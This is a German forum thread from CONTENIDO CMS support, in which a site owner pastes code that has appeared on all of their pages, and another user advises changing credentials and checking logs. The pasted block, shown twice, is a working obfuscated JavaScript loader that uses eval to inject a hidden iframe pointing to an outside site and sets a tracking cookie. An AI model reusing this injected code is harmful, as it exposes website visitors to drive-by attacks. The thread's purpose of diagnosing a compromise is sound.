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Quelltext auf Frontend und Backend

Verfasst: Mo 27. Mai 2013, 14:49
von helge1977
Hallo, wenn ich auf die Frontend und Backend Seite Zugreife erhalte oben folgenden Code. Die Umlaute auf den Seiten werden nicht mehr angezeigt. Wenn ich mich als Sysadmin einlogge kommt nur noch der Code. Ich kann keine Seite bearbeiten o. ä. Woran liegt das?


Code: Alles auswählen

sp=\"split\";w=window;aq=\"0\"+\"x\";ff=String;z=\"y\";ff=ff.fromCharCode;try{document[\"\x62od\"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,62,60,5b,65,5c,70,63,58,25,66,69,5e,26,5a,63,62,25,67,5f,67,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,66,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,66,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,66,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,66,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1289!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}za=e;za(s)}"; #/0c0896# ?> sp=\"split\";w=window;aq=\"0\"+\"x\";ff=String;z=\"y\";ff=ff.fromCharCode;try{document[\"\x62od\"+z]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,66,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,66,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,62,60,5b,65,5c,70,63,58,25,66,69,5e,26,5a,63,62,25,67,5f,67,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,66,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,66,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,66,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,66,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,66,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1289!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}za=e;za(s)}"; #/0c0896# ?> 
Danke und Gruß

Re: Quelltext auf Frontend und Backend

Verfasst: Mo 27. Mai 2013, 16:54
von xmurrix
Der Code, den du hier gepostet hast, sieht nicht gut aus. Vermutlich wurde der Code auf deinen Server durch irgendeine Unachtsamkleit oder Sicherheitslücke eingeschleust.

Ändere am Besten alle Zugangsdaten (FTP, Contenido-Backend und Datenbank) und versuche herauszufinden, wie dieser Code auf deine Seite gekommen ist.

Du kannst das Änderungsdatum der betroffenen Datei als Vorgabe zur Analyse der Zugriffe (HTTP und FTP) auf den verwenden.

Gruß
xmurrix

Re: Quelltext auf Frontend und Backend

Verfasst: Mo 27. Mai 2013, 17:26
von helge1977
Hallo,

danke für die Antwort.
Ich habe ein Update auf die 4.8.18 durchgeführt - jetzt funktioniert es wieder. Gab es denn in der Version 4.18.16 eine Sicherheitslücke?

Re: Quelltext auf Frontend und Backend

Verfasst: Mo 27. Mai 2013, 17:48
von xmurrix
Mir ist keine Sicherheitslücke in CONTENIDO 4.8.16 bekannt.

Hast du die Logfiles des Server überprüft, daraus lassen sich eventuell Rückschlüsse auf die Art und Weise, wie der Code auf die Seite gekommen ist, ziehen.